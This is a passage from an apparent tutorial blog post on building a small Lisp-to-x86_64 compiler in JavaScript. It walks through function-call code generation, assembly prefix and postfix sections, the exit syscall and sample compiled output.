&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PARAM_REGISTERS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'RDI'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'RSI'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'RDX'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile_call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Save param registers to the stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`PUSH &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;PARAM_REGISTERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Compile arguments and store in param registers&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PARAM_REGISTERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Call function&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`CALL &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;BUILTIN_FUNCTIONS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Restore param registers from the stack&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`POP &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;PARAM_REGISTERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Move result into destination if provided&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`MOV &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;destination&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;, RAX`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// For nice formatting&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In a better compiler, we would not make &lt;code&gt;plus&lt;/code&gt; a built-in
function. We'd emit code for the assembly instruction &lt;code&gt;ADD&lt;/code&gt;. However,
making &lt;code&gt;plus&lt;/code&gt; a function makes code generation simpler and also allows
us to see what function calls look like.&lt;/p&gt;
&lt;p&gt;We'll define the &lt;code&gt;plus&lt;/code&gt; built-in function in the prefix code.&lt;/p&gt;
&lt;h3 id="the-prefix"&gt;The prefix&lt;/h3&gt;&lt;p&gt;Assembly programs consist of a few "sections" in memory. The most
important of which are the &lt;code&gt;text&lt;/code&gt; and &lt;code&gt;data&lt;/code&gt; sections. &lt;code&gt;text&lt;/code&gt; is a
read-only section where the program instructions themselves are
stored. The CPU is instructed to start interpreting from some location
in this text section and it will increment through instructions,
evaluating each instruction until it reaches an instruction that tells
it to jump to a different location to evaluate instructions (e.g. with
CALL, RET, or JMP).&lt;/p&gt;
&lt;p&gt;To denote the text section we emit &lt;code&gt;.text&lt;/code&gt; in our prefix before we
emit our generated code.&lt;/p&gt;
&lt;p class="note"&gt;
  The data section is for statically initialized values (e.g. global
  variables). We don't have any need for that right now so we'll
  ignore it.
  &lt;br /&gt;
  &lt;br /&gt;
  &lt;a href="https://www.cs.bgu.ac.il/~caspl122/wiki.files/lab2/ch07lev1sec6/ch07lev1sec6.html"&gt;Here&lt;/a&gt;
  is a good read with more detail on these (and other) sections.
&lt;/p&gt;&lt;p&gt;Additionally, we need to emit an entrypoint (we'll use &lt;code&gt;_main&lt;/code&gt;) and
add a notice (&lt;code&gt;.global _main&lt;/code&gt;) so that the location of this entrypoint
is visible externally. This is important because we let &lt;code&gt;gcc&lt;/code&gt; handle
the hairier parts of generating an executable file and it needs access
to the entrypoint.&lt;/p&gt;
&lt;p&gt;So far, our prefix looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit_prefix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.global _main\n'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.text\n'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// TODO: add built-in functions&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'_main:'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The last part of our prefix needs to include the &lt;code&gt;plus&lt;/code&gt; built-in
function. For this, we add the first two parameter registers we agreed
on (&lt;code&gt;RDI&lt;/code&gt; and &lt;code&gt;RSI&lt;/code&gt;) and store the result in &lt;code&gt;RAX&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit_prefix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.global _main\n'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.text\n'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'plus:'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'ADD RDI, RSI'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'MOV RAX, RDI'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'RET\n'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'_main:'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And we're golden.&lt;/p&gt;
&lt;h3 id="the-postfix"&gt;The postfix&lt;/h3&gt;&lt;p&gt;The job of the postfix will be simple, call &lt;code&gt;exit&lt;/code&gt; with the value of
&lt;code&gt;RAX&lt;/code&gt; since this will be the result of the last function called by the
program.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exit&lt;/code&gt; is a syscall, so we'll use the &lt;code&gt;SYSCALL&lt;/code&gt; instruction to call
it. The x86_64 calling convention on macOS and Linux for &lt;code&gt;SYSCALL&lt;/code&gt;
defines parameters the same way &lt;code&gt;CALL&lt;/code&gt; does. But we also need to tell
&lt;code&gt;SYSCALL&lt;/code&gt; what syscall to call. The convention is to set &lt;code&gt;RAX&lt;/code&gt; to the
integer representing the syscall on the current system. On Linux it
will be &lt;code&gt;60&lt;/code&gt;; on macOS it is &lt;code&gt;0x2000001&lt;/code&gt;.&lt;/p&gt;
&lt;p class="note"&gt;
  When I say "convention", I don't mean that you really have a choice
  as a programmer. It was arbitrary when the operating system and
  standard libraries chose it. But if you want to write a working
  program that uses syscalls or calls out to (say) glibc, you'll need
  to follow these conventions.
&lt;/p&gt;&lt;p&gt;The postfix then looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'os'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SYSCALL_MAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'darwin'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;'exit'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'0x2000001'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s1"&gt;'exit'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;emit_postfix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'MOV RDI, RAX'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Set exit arg&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`MOV RAX, &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;SYSCALL_MAP&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'exit'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Set syscall number&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'SYSCALL'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And we're set here too.&lt;/p&gt;
&lt;h3 id="putting-it-all-together"&gt;Putting it all together&lt;/h3&gt;&lt;p&gt;We can finally write our Javascript entrypoint and run our compiler
against a sample program.&lt;/p&gt;
&lt;p&gt;The entrypoint might look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'./parser'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'./compiler'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And we can call it like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ulisp.js&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'(+ 3 (+ 2 1))'&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;.global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;_main&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;.text&lt;/span&gt;

&lt;span class="nl"&gt;plus:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;ADD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;RET&lt;/span&gt;

&lt;span class="nl"&gt;_main:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;PUSH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;PUSH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;PUSH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;PUSH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RDI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RSI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;CALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;plus&lt;/span&gt;
